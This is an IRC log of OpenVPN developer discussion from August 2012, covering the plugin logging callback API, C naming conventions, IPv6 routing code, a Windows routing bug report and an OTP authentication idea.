<@dazo> <d12fk> 2012:08:01-14:04:21 hhund_195 openvpn[8744]: PLUGIN: suppressed log message from plugin with unknown name 13:59 <@dazo> krzee: d12fk obviously didn't like my proposal .... <dazo> d12fk: if having a warning on empty plug-in name, I'd prefer: "You lousy plug-in writer! Trying to cheat, do you? Get out of here!" 13:59 <+krzee> s/are/do/ and i like it 13:59 <+krzee> heheh 13:59 <+krzee> err 13:59 <+krzee> s/do/are/ 13:59 <@andj> krzee: gcc --ansi --pedantic all the way 14:00 <+krzee> oh lol 14:00 <+krzee> cheater! 14:00 <+krzee> ;] 14:00 <@dazo> dang ... standards and pedantic ... gee man! 14:00 <@andj> (I might have gone to a British high school too) 14:00 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 240 seconds] 14:03 <@andj> nah, I prefer C99... I did a uni course once where the code had to be --ansi --pedantic... old-school comments get really old really fast 14:04 <@dazo> yeah ... I just wish everyone could agree on enabling C99 by default ... inclusive MSVC 14:05 <@dazo> (but when in Linux, C99 mode is very fine to forcefully enable) 14:30 -!- dazo is now known as dazo_afk 16:57 <+krzee> interesting https://forums.openvpn.net/topic10868.html 16:57 <@vpnHelper> Title: OpenVPN Support Forum Openvpn Over ICMP : Configuration (at forums.openvpn.net) 17:21 -!- JojoMunkey [~OpenVPN22@c-67-164-89-11.hsd1.ca.comcast.net] has joined #openvpn-devel 17:21 < JojoMunkey> Hello, I wanted to report a bug found in OpenVPN Client 2.2.2 for XP 17:22 < JojoMunkey> There's a simplified picture here, and an explanation at this link under "OpenVPN 2.2.2 routing bug" 17:23 < JojoMunkey> Actually - two bugs, if you count ICMP ehoes to the VPN server going through unencrypted channels due to routing issues. 17:24 < JojoMunkey> http://www.dd-wrt.com/phpBB2/viewtopic.php?p=703967 under "Known Bugs" 17:24 < JojoMunkey> Picutre of the problem topology here: 17:24 < JojoMunkey> http://i.imgur.com/X3wUF.png 17:26 < JojoMunkey> Bug 1: When using the bypass-dhcp, dns, etc options, the command issues is "route.exe ADD 12.34.56.78 MASK 255.255.255.255 192.168.0.1" 17:26 < JojoMunkey> when the command issued should be "route.exe ADD 192.168.0.1 MASK 255.255.255.255 192.168.0.1 IF 6" 17:27 < JojoMunkey> This causes loopback routing issues when the real and Tap interfaces share a subnet 17:27 < JojoMunkey> Basically, IF # needs to be used to make sure traffic goes over the real interface 17:28 < JojoMunkey> (Not really, setup-specific) Bug 2: ICMP pings in a bidged tap setup go from server -> client over the encrypted channel, but return via cleartext-routes 17:29 < JojoMunkey> This is a routed problem that is prbably my fault anyway for a weird setup 17:30 < JojoMunkey> Fix might be to move "internal" OpenVPN ip to something different, use routed OpenVPN setup instead 17:31 < JojoMunkey> Hope this helps. Thank you for making such a flexible product! 17:31 -!- JojoMunkey [~OpenVPN22@c-67-164-89-11.hsd1.ca.comcast.net] has quit [Quit: Logoff] --- Day changed Thu Aug 02 2012 01:41 <@d12fk> dazo_afk: the OPENVPN_PREPARE_LOG_FUNCTION macro scares me 01:43 <@d12fk> why no struct openvpn_callbacks with assorted function pointers. log to start with 01:43 <@d12fk> one could just copy them to a local var by hand and use it 01:44 <@d12fk> a local var hidden in a macro is kind of nasty i suppose 01:47 <@d12fk> still not convinced how the PLUGIN_NAME macro helps 02:01 <@d12fk> i'll send both patches and let you/the list ecide which one to merge and the logging stuff held me up way longer than i expected. need to move to some "real" work again or boss gets cranky. 02:16 <@cron2> yay, hit-and-run "bug reports"... (and both of them are "if your setup is broken, the results will be funny") 02:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:43 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:00 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 03:06 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:15 -!- Netsplit *.net <-> *.split quits: @mattock 04:17 -!- Netsplit over, joins: @mattock 04:47 <@cron2> plaisthos: will you re-send 3/4? 04:54 <@cron2> the other 3 are actually not that easy to review... on a first glance, 2/4 and 4/4 look good, but that stuff is too complicated to just skim it 04:55 -!- dazo_afk is now known as dazo 04:56 <@cron2> and I'm not convinced 1/4 is the right approach to this, strcmp()'ing on a magic string. Why is options->priv_key_file set to EXTERNAL_KEY_STRING in the first place at all, if all that does is "cause problems later"? 04:56 <@cron2> as the actual key accessor is not looking at this, if MF_EXTERNAL_KEY is set... 04:58 * cron2 opts for "just not set options->priv_key, and remove the magic string" 04:58 <@cron2> (it will make a difference in the *printing* of options, so maybe it should be fixed there) 05:14 <@dazo> d12fk: I was thinking about that a callback struct this morning ... so yeah, that makes sense 05:14 <@dazo> but it would probably have to be passed through the same struct as I initially indicated 05:15 <@dazo> the intention of the OPENVPN_PREPARE_LOG_FUNCTION macro is to provide a layer so that we can change the callback struct(s) more easier later on 05:15 <@dazo> but with a callback struct ... it would be better to name it OPENVPN_PREPARE_CALLBACKS() 05:17 <@dazo> d12fk: and the purpose of the PLUGIN_NAME ... is to make it the log function easier to work with ... you don't have to explicit name the plugin each time 05:21 <@dazo> d12fk: other than that ... why does the OPENVPN_PREPARE_LOG_FUNCTION macro scare you? 05:21 < plaisthos> cron2: I wanted to change the existing logic as little as possible but leaving private_key_file unset seems to be a good alternative 05:22 < plaisthos> cron2: For 2/4 and 4/4. At the moment I trying to cleanup as much of the mess as possible to ease later work 05:36 <@cron2> plaisthos: yeah, understood, and as the existing mess is large, the patches are not *that* easy to review :-) 05:38 < plaisthos> cron2: yes, I know :/ 05:54 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn-devel 07:08 <@d12fk> dazo: i'm going to send another patch with the struct and plugin_vlog API alon damands 07:09 <@d12fk> now that there are two ballbacks it really makes sense 07:09 <@dazo> d12fk: agreed 07:09 <@d12fk> b->c 07:09 <@dazo> :) 07:09 <@d12fk> bad typo =) 07:10 * plaisthos just looked at this keyboard to see if c and b are close =) 07:10 <@dazo> d12fk: just so I understand his suggestion (haven't dug into the details yet) ... he wants a vlog() function where you provide fmt + va_list? 07:10 <@d12fk> that's no limitation for me =) 07:10 <@d12fk> dazo: exact 07:11 <@dazo> okay, that does make sense 07:11 <@d12fk> for when plugins want to have a wrapper function 07:11 <@dazo> yupp 07:12 <@d12fk> and that wrapper could e.g. set the plugin_name param internally 07:12 <@dazo> d12fk: just one question .... what scares you about such a preparation macro I suggested? It might be I'm overlooking something, and I'd like to learn :) 07:13 <@d12fk> i just feel that setting a var in a imported macro is going to collide sooner than later 07:13 <@dazo> well, that var is a function name in the end ... you can always collide there ... 07:14 <@dazo> I've just seen similar approaches when writing kernel modules ... and I find it quite neat, that you prepare in a simple way 07:14 <@d12fk> yes, but let the user be responsible for the collision, not an macro 07:15 <@dazo> fair enough ... that's actually something we can bring further later on with this struct approach 07:15 <@d12fk> you need to know about the guts of the structs anyways if you hack a plugin, so there no apparent need for hiding stuff 07:16 <@dazo> it's not about hiding it ... it's more about making it easier to use, without needing to dig too deep 07:16 <@d12fk> with the callback struct it's something like: 07:17 <@d12fk> static openvpn_plugin_callback_t ovpn_cb; 07:17 <@d12fk> [...] 07:17 <@d12fk> in open_v3: ovpn_cb = *args->callbacks; 07:17 <@d12fk> you could even assign the pointer 07:18 <@d12fk> saves on pointer size memory 07:18 <@dazo> yeah ... I won't go further on the prep macro stuff now ... getting the callback structs is a good step anyway 07:19 <@dazo> another thing ... do you typedef the struct for a special reason? any reason why to not use 'struct openvpn_callback' directory (as two words)? 07:20 <@dazo> (I'll admit I've done the same thing earlier, but have began to like to see quicker it's a struct ... helps code clarity, IMO) 07:20 <@d12fk> ah i prefer the readability, but if you like struct better so be it 07:21 <@d12fk> same for enum? 07:21 <@dazo> A lot of things can be typedef'ed for good reasons ... but structs I'm not so sure about 07:22 <@dazo> enum's are fine to typedef for me ... that's kind of declaring a new type anyway, with fixed values 07:22 <@dazo> fixed and "legal" names 07:25 <@dazo> d12fk: if you read the section about typedef's (Chapter 5)... the argument I agree to is there :) ... http://www.kernel.org/doc/Documentation/CodingStyle 07:28 <@d12fk> if linus wishes it, it's a command to me =) 07:28 <@dazo> heh ... not sure how I should interpret that ;-) 07:28 <@d12fk> s/linus/dazo/ 07:29 <@dazo> okay, I'll admit it ... I'm in daily contact with kernel people, doing kernel testing ... I'm influenced by the kernel ;) 07:32 <@d12fk> sounds like a confession =) 07:33 <@dazo> heh :) 07:33 * dazo feels so much better now :-P 07:34 <@d12fk> pray three father Theo and your sins will be forgiven! =) 07:36 -!- Irssi: #openvpn-devel: Total of 15 nicks [8 ops, 0 halfops, 0 voices, 7 normal] 07:39 <@cron2> wrong religion, we pray to linus! 07:39 <@ecrist> linux is for n00bs 07:40 <@cron2> ecrist: you don't pray to Theo either, you Free-Heretic! 07:40 <@ecrist> Free-Love, Free-BSD, I just gotta be Free! 07:42 <@dazo> ecrist: Linus originally called it Freenix .... but was overruled by a sysadmin who thought "This guy is Linus, it gotta be Linux" 07:42 <@dazo> (or, so the legend says) 07:43 <@ecrist> Really, i don't have a problem with the linux kernel. It's the GNU crowd that irritates me. And a lot of the utilities are just too cumbersome 07:43 <@ecrist> I hate the ip stuff that replaced ifconfig, for example 07:44 <@dazo> :) 07:46 < plaisthos> at least they accept cidr notation everywhere in the ip command 07:47 <@ecrist> afaik, ifconfig does, too, at least on freebsd 07:47 <@ecrist> iirc, it has for ~10 years 07:48 <@dazo> it took me a long while to accept iproute2 (with the 'ip' stuff) ... but now I actually begin to both like and use it a lot more than before 07:49 < plaisthos> ecrist: yes on freebsd not on linux iirc 07:49 <@ecrist> 07:39:49 <@ecrist> linux is for n00bs 07:49 <@ecrist> :) 07:49 <@cron2> ecrist: well... I take "ip route" over BSD's "route" command any day. The syntax of "route" is so poorly documented, and some of the corner cases are *really* weird - while "ip [-6] route ..." just does the right thing. 07:49 < plaisthos> and IOS does not like CIDR at all 07:50 <@cron2> plaisthos: it does. For IPv6. Who cares about IPv4? 07:50 <@dazo> lolk 07:50 <@dazo> s/k// 07:50 < plaisthos> cron2: :) 07:50 <@cron2> (but yeah, these bits of IOS are really annoying) 07:50 < plaisthos> cron2: non CIDR with ipv6 would have been *really* weired :) 07:50 <@ecrist> cron2: I've not run into too many corner cases. the best thing I was aware of linux had going for it in that realm was multiple routing tables, which freebsd has, now 07:50 < plaisthos> cron2: NX-OS finally accepts CIDR 07:50 <@ecrist> and can even be manipulated via pf. :) 07:51 <@cron2> plaisthos: cool 07:51 < plaisthos> but that runs linux 07:51 <@cron2> ecrist: multiple routing tables are less a question of the tool to manipulate them, but of the infrastructure behind. My issue with "route" is really that the documentation is so bad that I regularily need to try around to find the syntax for "delete ipv6 default route, and not ipv4 default route" 07:52 <@cron2> and all the weird options like "-ifp" that don't really do what the manpage suggests... 07:53 <@ecrist> ah 07:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 07:54 <@cron2> a few more day-to-day examples in the manpage might do wonders for my "route" dislike, though :-) 07:56 <@ecrist> the problem is nobody, particularly the developers, like to write documentation 08:06 <@d12fk> mail's out, ack-storm now! =) 08:09 <@d12fk> dazo: I thought he wanted to call it Freex, that'd been even worse 08:09 <@dazo> d12fk: ahh, you might be right 08:09 <@dazo> d12fk: you've forgotten one tiny little detail .... 08:09 * dazo is sorry to be such a bastard ...... 08:10 <@dazo> d12fk: #define OPENVPN_PLUGINv3_STRUCTVER 1 needs to be incremented, as we extend the v3 structs 08:10 <@dazo> d12fk: never mind ... scratch that 08:11 <@dazo> openvpn 2.3 is the first version with v3 API ... so we'll define this a part of the version 1 .... I can add a comment to the version comment when applying it 08:12 <@d12fk> ok 08:13 <@dazo> unfortunately, Alon got another good comment ......... 08:13 <@dazo> (gee that was quick from him) 08:13 <@cron2> dazo: can't you get your colleagues to keep him busy? 08:13 <@dazo> hehehe 08:13 <@d12fk> heh he's never happy 08:14 <@dazo> cron2: why!? isn't this fun!? ;-) 08:14 <@d12fk> is he in redhat? 08:14 <@cron2> d12fk: since a few months or so 08:14 <@dazo> d12fk: started July 1st ... working with the RHEV team in Israel 08:14 <@cron2> dazo: I admit I haven't read this particular thread. I focused on plaisthos' patches (and want to see re-spin of 1/4 and 3/4 :) ) 08:15 <@d12fk> the pragmas are added quickly 08:15 <@dazo> :) 08:16 <@dazo> with that in place, I feel we've come a long way ..... and thanks a lot for you patience and efforts, d12fk! 08:16 <@d12fk> the journey will continue =) 08:16 <@dazo> :) 08:17 <@d12fk> hm tricky where do i put the __attributes__ now... 08:17 <@dazo> d12fk: as you give another patch update ... please just add a quick info about the callback struct in the v3 version tracking 08:17 <@dazo> :) 08:18 < plaisthos> is there a simpler way to generate a new patchset then to start fresh, cherry your own commits, and ammend the commits? 08:18 <@cron2> plaisthos: dazo told me that this is what he's doing 08:18 <@d12fk> git rebase --interactive 08:18 <@dazo> yeah, that can be used 08:18 <@dazo> can even be used to re-arrange your commits ... but I've not used it extensively 08:19 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 08:19 <@d12fk> it's one of those which twists your brain the first time you run into trouble using it 08:20 <@dazo> absolutely :) 08:20 < bantu> Hey there. Anyone implemented udp hole punching like https://forums.openvpn.net/topic141.html yet? 08:20 <@vpnHelper> Title: OpenVPN Support Forum Idea for direct connections : Wishlist (at forums.openvpn.net) 08:22 <@cron2> bantu: if one of us had implemented it, it would be in openvpn 08:23 -!- dazo is now known as dazo_afk 08:24 < bantu> cron2: All right, thanks. It looks like you could also implement it by wrapping around openVPN. 08:26 < bantu> I also just noticed https://forums.openvpn.net/topic10063.html#p21866. 08:26 < bantu> I've you're willing to give us real feedback, feel free to suggest features etc. on http://area51.phpbb.com/phpBB/ 08:26 <@vpnHelper> Title: OpenVPN Support Forum Forthcoming Forum Migration! : Off Topic, Related (at forums.openvpn.net) 08:26 <@vpnHelper> Title: Development Discussion Board - Index page (at area51.phpbb.com) 08:26 < bantu> *If 08:27 < bantu> My support team also just pointed out that you're using the phpBB SEO fork of phpBB which according to them explains why some things are broken. 08:29 -!- dazo_afk is now known as dazo 08:35 <@dazo> oh what will this day bring ... GPU locked up and required a reboot, considered to go for a late lunch and the rain started to poor down heavily ... 08:40 < plaisthos> I will stick to the cherry pick and ammend approach 08:40 < plaisthos> it works well enough with this shiny gui I use d: 08:42 <@d12fk> oh my, the typedefs just turned fugly: 08:42 <@d12fk> typedef void (*plugin_log_t) (openvpn_plugin_log_flags_t flags, 08:42 <@d12fk> const char *plugin_name, 08:42 <@d12fk> const char *format, ...) 08:42 <@d12fk> #ifdef __GNUC__ 08:42 <@d12fk> #if __USE_MINGW_ANSI_STDIO 08:42 <@d12fk> __attribute__ ((format (gnu_printf, 3, 4))) 08:42 <@d12fk> #else 08:42 <@d12fk> __attribute__ ((format (__printf__, 3, 4))) 08:42 <@d12fk> #endif 08:42 <@d12fk> #endif 08:42 <@d12fk> ; 08:43 <@d12fk> is it safe to define macro in a header if i prefix it with _ 08:47 <@cron2> ok, the two easy ones are acked :-) the two heavy ones, I need to go and patch sources, stare at the result and scratch my head for a while 08:47 <@dazo> d12fk: what about prefixing it with a bit more than just '_'? ... like? _ovpn_ or _ovplg_ or something similar 08:47 <@cron2> _ovplg_? 08:48 <@cron2> dazo: spilled coffee in your keyboard again? 08:48 <@dazo> OpenVpn PluGin 08:48 <@cron2> coffee in his keyboard indeed 08:48 <@dazo> heheh 08:49 <@d12fk> can't recall the underscore convention? was __ reserved for just that? 08:49 <@dazo> tbh ... I might mix the underscore convention ... as each language have their own conventions it seems 08:49 <@cron2> __dazo_and_d12fk_prefix_plugin_log_t 08:50 <@d12fk> )is it's not a struct, fine =) 08:50 <@dazo> lol 08:50 <@cron2> __this_is_not_a_struct_t 08:51 < plaisthos> __this_breaks_compilers_which_do_not_accept_very_long_struct_names_and_is_ovpn_spefic_... ;) 08:52 <@dazo> Thomas Gleixner had a patch to the Linux kernel where a variable got named something like "do_not_ever_dare_to_modify_this_value" 08:53 <@d12fk> "Names containing double underscore or beginning with an underscore and a capital letter are reserved for implementation (compiler, standard library) and should not be used (e.g. reserved__ or _Reserved)" 08:53 <@dazo> ahh 08:56 <@d12fk> #define _OVPN_CHK_FMT(a, b) ... 08:56 <@dazo> should be safe then 08:57 < plaisthos> undscore and captital letter should not be used :) 08:57 <@cron2> we need moar coffee in dat prefix 08:58 <@dazo> #define _U_MST_PASS_TIZ_FMT_CHK_2B_3LE3T 08:58 < plaisthos> dazo: replace the I with l for maximum confusion :p 09:00 <@dazo> d12fk: please, just don't repeat the bummer Microsoft's HyperV driver in Linux had in one of its constants ... B16B00B5 09:00 <@dazo> plaisthos: hehe :) 09:00 <@d12fk> someone must have gotten creative 09:01 <@dazo> d12fk: or inspired .... 09:02 <@d12fk> like CAFEBABE in java 09:02 <@dazo> yeah :) 09:11 <@dazo> d12fk: on a somewhat related underscore discussion ... :-P https://lwn.net/Articles/509149/ 09:12 <@vpnHelper> Title: Re: [RFC] page-table walkers vs memory order [LWN.net] (at lwn.net) 09:12 <@d12fk> hm i see not difference in gcc output with the attr in place 09:13 <@d12fk> is this due to -Wall 09:13 <@dazo> d12fk: but the pragma stuff kicks in at compile time when wrong types are used/combined, right? 09:14 <@d12fk> yes, but i get the same warning without it 09:15 <@d12fk> so, nine it is then =) 09:15 <@dazo> heh ;-) 09:15 <@d12fk> we could use three 09:15 <@d12fk> iso talks only about "double" underscaores 09:16 <@dazo> yeah, exactly 09:16 < plaisthos> but a name with more than two underscores contains a double underscore if you are nitpicking 09:17 <@d12fk> actually it's a triple underscore then 09:17 * dazo throws a paperball of printed underscores at plaisthos 09:17 <@cron2> underscore fight! 09:17 <@d12fk> __________________________________________________________________________________________________________________________________________________________________ 09:17 <@dazo> cron2: that's under by dignity! 09:18 <@cron2> d12fk: I'm sure that this is not legal with MSVC 09:18 <@d12fk> dazo: im down wit dat =) 09:18 <@dazo> :) 09:18 <@cron2> dazo: this dignity thing, is that a new Gnome tool? 09:18 * dazo heads out for lunch now 09:19 <@dazo> cron2: no, they wrecked that when developers decided they know better than their users with GNOME3 ;-) 09:19 < plaisthos> cron2: I liked that you called my 4th version of the patch v2 :) 09:20 <@cron2> plaisthos: well, in this round of patches, it was v2 :-) 09:20 <@cron2> and I've given up trying to remember what you and dazo had iterated before :)) 10:23 <@d12fk> i wonder if gmane has a special deal with sourceforge to get the ml posts first. they are there almost instantly while it takes minutes until they arrive in my mailbox 10:35 < reiffert> does anybody know Angelo Laub, the TUnnelblick Developer? 10:39 <@d12fk> reiffert: Jonathan Bullard is active for Tunnelblick on the -devel list 10:40 < reiffert> cause I'm having issues with tap/bridged setups since the latest Apple OS came out 10:41 < reiffert> thank you. 10:42 <@cron2> reiffert: 10.8? 10:46 < reiffert> yeah 12:19 -!- dazo is now known as dazo_afk 17:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:31 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Ping timeout: 265 seconds] 18:35 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 21:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Fri Aug 03 2012 01:55 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:00 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:01 <@vpnHelper> RSS Update - tickets: #224: Please add the MAC address in the list of VPN clients that is returned by request "status" <https://community.openvpn.net/openvpn/ticket/224> 02:38 <@cron2> argh 02:38 * cron2 hates openvpn 02:39 <@cron2> (or "certificate-based SSL VPN", to be precise... customer called "I have a problem with my machine!" - I said "please fire up your OpenVPN, so I can look!" - and lo and behold, cert had expired 6 weeks ago...) 02:42 <+krzee> make your certs for longer? 02:42 <+krzee> i default to 10 years 02:42 <@cron2> that's so insecure!!! (or so I have been told) 02:42 <@cron2> but yeah 02:42 <@cron2> something like that 02:44 <+krzee> meh 02:44 <+krzee> dunno how its more secure for me to be bothered anually 03:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 03:39 <@d12fk> cron2: took a look at route.c and discovered that ther is a ipv6 version for many of the funcs 03:40 <@d12fk> is there a reason to keep them separate 03:42 <@d12fk> new_route_option_list() vs. new_route_ipv6_option_list() etc. 03:42 <@d12fk> i thought struct route_option_list could have been extended to hold both types 03:43 <@d12fk> or is this jjo's code? 03:52 < plaisthos> d12fk: almost everywhere are ipv4 and ipv6 functions 04:08 <@d12fk> is that an ack from alon? 04:12 < plaisthos> he found no more things to point out at least :) 04:14 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 04:16 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 04:22 -!- dazo_afk is now known as dazo 04:25 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Remote host closed the connection] 04:26 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn-devel 04:39 <@d12fk> why is there no ipv6 version of route_gateway_address()? 04:40 <@d12fk> shouldn't there be one? or can't ipv6 default routes not be replaced? 04:41 <@d12fk> ugh double negation fail 04:54 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 04:54 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 04:54 -!- mode/#openvpn-devel [+o andj] by ChanServ 05:15 < plaisthos> d12fk: iirc openvpn ipv6 logic is a bit different, setting routes to devices (tun0) instead of a gateway 05:16 < plaisthos> also there is no redirect-gateway or similar 05:17 <@d12fk> oh, why that? 05:17 < plaisthos> I guess nobody implemented something like that so far 05:24 <@d12fk> on linux route_gateway_address() is ipv4 only, fear of rtnetlin i suppose 05:24 <@d12fk> maybe other OSes have the same prob 05:25 < plaisthos> ipv6 is also a different story 05:26 < plaisthos> If you have two redundant routers on your network you might have two default routes 05:26 < plaisthos> e.g. 05:26 < plaisthos> ::/0 fe80::21a:30ff:fe1b:5000 UGDAe 1024 0 0 eth0 05:26 < plaisthos> ::/0 fe80::226:98ff:fe0c:1241 UGDAe 1024 0 0 eth0 05:56 <@d12fk> but that's an OS feature rather than IPv6, isn't it? 06:24 <@cron2> re 06:24 * cron2 was afk 06:25 <@cron2> d12fk: well, the IPv6 stuff does the same thing as the IPv4 stuff, but is really fully independent - different data structure, different OS calls, so I decided to do it separately to keep the intrusions into James' code at minimum 06:26 <@cron2> "struct route_option_list" could have been extended to cover both, and then have a switch inside the "add_route" part - yep 06:26 <@d12fk> ok 06:27 <@d12fk> i'll send a get default route vis rtnetlink patch soon that could be a base for redirect-gateway on linux 06:27 <@cron2> as for redirect-gateway and --route-gateway-ipv6: that's just not there because nobody asked for it - and it adds quite some system-dependent complications ("what *is* my current gateway?") 06:28 <@cron2> given the "available time" and "get a release out!" constraints, I didn't want to delay further - get the initial v6 stuff out, document that certain things are missing, fix 'em later 06:28 <@cron2> for now, "redirect-gateway-ipv6" could be achieved by connecting over IPv4 and pushing a "route-ipv6 2000::/3"... 06:29 <@cron2> but that would kill "connecting over IPv6" 06:29 <@d12fk> ok 06:30 <@d12fk> i just care for the ipv4 default route from table default currently 06:30 <@d12fk> that's why I need rtnl 06:30 <@d12fk> /proc/net/route obly show table default 06:31 <@cron2> how does the current code get the route? 06:31 <@d12fk> fscanf... dont ask 06:31 <@cron2> ugh 06:31 <@d12fk> ah no fgets and then sscanf.. even better =) 06:32 <@cron2> I never really dug into that code, saw "it's system dependend, full of #ifdef's, complicated, and I don't want that *now*" :-) 06:32 <@d12fk> yeah route.c is nothing for before breakfast 06:33 <@cron2> for multiple reasons, yeah 06:33 <@cron2> .oO(ok, any volunteer company that wants to pay me for two months to fix that?) 06:50 * plaisthos ' patch touches route.c ... 06:51 <@cron2> it does, but only slightly so 06:52 < plaisthos> yes. But when I patched I found out that only ipv4 routes are resolved to multiple addresses 06:52 < plaisthos> for ipv6 only one address is used per route 06:52 <@cron2> IPv6 routes are not resolved at all 06:52 < plaisthos> or that 06:52 < plaisthos> :) 06:53 <@cron2> one of those "I did not have a need for it, nobody asked for it, so I implemented what I could properly test" things :-) 06:54 * cron2 is a router guy... "we do not do hostnames for routes" 07:02 <@dazo> d12fk: I've been pondering on a new feature in the GUI ... related to OTP stuff .... the main idea is that the user at login time with username/pass auth receives an SMS with a OTP code and applies that to a fixed password (think RSA key method) ... but --auth-user-pass collects this info *before* connecting ... so I'm wondering .... 07:03 <@dazo> what if the GUI did a XMLRPC or REST call to a configured web server, sends just the username ... the web service, looks up the username, finds the SMS number, generates the code and sends it to the user + preparing openvpn auth plug-in for this code ... 07:04 <@dazo> and then asks for the password afterwards this has happened ... and connects via openvpn as before ... 07:04 <@cron2> dazo: should work. Sort of "out of main openvpn scope", but could be a nice addition for gui+server side 07:05 <@dazo> of course, ideally, openvpn should connect first ... and then ask and do this magic etc, etc ... but that's more openvpn 3.x stuff 07:14 <@d12fk> dazo: i think that should be handled transparantly through openvpn, otherwise we'd end up with tons of special options with limited use to most in the gui 07:15 <@d12fk> so, user auth when actually needed sounds like a thing we want to achive 07:15 <@dazo> d12fk: yeah, as I said, we can redo that for openvpn 3.x ... but for 2.x timespan, we need something too ... of course, it can be a webpage the person goes to first ... but that's not much userfriendly 07:16 <@dazo> 3.x we can afford breaking compatibility ... but redoing this in 2.x will be too risky 07:16 <@d12fk> then ppl come and want radius, and then others come and want yet another thing 07:16 <@dazo> d12fk: radius is available already via auth-radius plug-in 07:16 <@d12fk> this is really something for a backend to take care of, not the fromtend 07:17 <@d12fk> otp over radius 07:18 <@dazo> d12fk: well, that's the idea that the XMLRPC interface is standardised ... and the backend web server takes care of the needed magic 07:18 <@dazo> or another approach, which can provide flexibility ... is if the GUI get's a plug-in interface too ... 07:18 <@dazo> then you can just say "write the plug-in, and you got it" 07:18 <@d12fk> what i mean is that the specific auth-plugin should take care of such, not the client 07:19 <@d12fk> and then you'd have to write plugins for every OS... nah 07:19 <@dazo> d12fk: there is no auth-plugin for the client side ... 07:19 <@d12fk> i meant the server side 07:19 <@cron2> d12fk: the interesting bit is "how do you trigger the otp generation" - you can do it outside of "openvpn-gui", or "integrated". I think dazo wants all+cream :) 07:20 <@dazo> yeah, but openvpn requires to gather username/password *before* connecting to the server now ... that's the problem 07:20 <@d12fk> fix t 07:20 <@dazo> to fix that, requires changing the openvpn protocol, which is doable in openvpn 3.x ... we can't afford to break that in 2.x yet 07:20 <@d12fk> really? 07:21 <@d12fk> or is it rather an extension? 07:21 <@dazo> yeah, the init phase of the wire protocol is really ugly in this aspect 07:21 <@d12fk> is there decent docs on the protocol anywhere? 07:21 <@dazo> it's some extra packets which are sent right after the SSL negotiation 07:22 <@dazo> hehe ... no, not on this topic ... i still have nightmares from reading the protocol code 07:23 <@d12fk> and couldn't these packets just be sent with a special magic value switching to the better approach 07:24 <@d12fk> backwards compatibility would be great for 3.x anyway 07:25 <@d12fk> need to attend a meeting, afk for 1? hour 07:25 <@cron2> have fun 07:25 <@dazo> with the module based approach for 3.x, it's possible to have a "2.x protocol" which works like the 2.x servers ... and then you can switch that with a "3.x protocol" which is more sane and (hopefully) better documented 07:26 <@dazo> s/module/modular/ 07:26 <@dazo> (this is the closest you'll get to protocol documentation: http://openvpn.net/index.php/open-source/documentation/security-overview.html ) 07:26 <@vpnHelper> Title: Security Overview (at openvpn.net) 07:40 < plaisthos> or have dtls as an alternative protocol 08:27 <@dazo> plaisthos: I'd say that the 3.x protocol should be dtls ;-) 08:34 < plaisthos> dazo: and normal tls for tcp? 08:34 < plaisthos> or dtls there too? 08:35 <@dazo> plaisthos: I'd probably vote for normal tls in tcp ... to make it simpler 08:35 <@dazo> but I'll admit, I thought dtls was only for udp, not usable for tcp 08:37 < plaisthos> dazo: yes, but nobody stops you from pushing udp packets over tcp :) 08:37 <@dazo> heh, true 08:38 <@dazo> I would really hope that the 3.x (when that epoc arises) will have a much more developer friendly code and not so much odd magic all over .... granted, much of that odd magic is genius engineering, but it makes it difficult to audit and fix things 09:02 <@d12fk> i haven't found any genius engineering so far, but maybe i'm only scratching the surface 09:03 <@cron2> d12fk: the config stuff and the mroute stuff are pretty amazing actually 09:03 <@d12fk> so, the easy compatible approach in infeasable? 09:06 <@dazo> d12fk: the openvpn protocol is from 2002, which is long before DTLS was invented .... and the DTLS approach can simplify things a lot, as that's written to explicitly allow SSL over UDP - and has built-in support in OpenSSL nowadays 09:07 <@dazo> now it's a weird way of intercepting SSL packets from openssl and wrapping it into a UDP socket ... and adding some sequence numbering to make it work well, even in cases of packet drops (which SSL isn't really designed to tackle) 09:07 <@d12fk> i know, but auth is after this, so it should matter 09:07 <@d12fk> shouldnt 09:08 <@d12fk> user/pass auth to be more precise 09:08 <@dazo> ahh 09:08 <@d12fk> back to the otp topic =) 09:09 <@dazo> it would require a lot of tweaking and hacking to change the current behaviour to be able to shift the authentication until after the SSL is fully established 09:09 <@dazo> now it somehow happens in between the full SSL establishing and the SSL init phase 09:09 <@dazo> (iirc ... it's a long while since I looked at this) 09:10 <@d12fk> hm, can't really help here 09:11 <@d12fk> about rtnetlink: i think we shouldn't invent the wheel from scratch and use libmnl or similar to get it right(ish) from the start 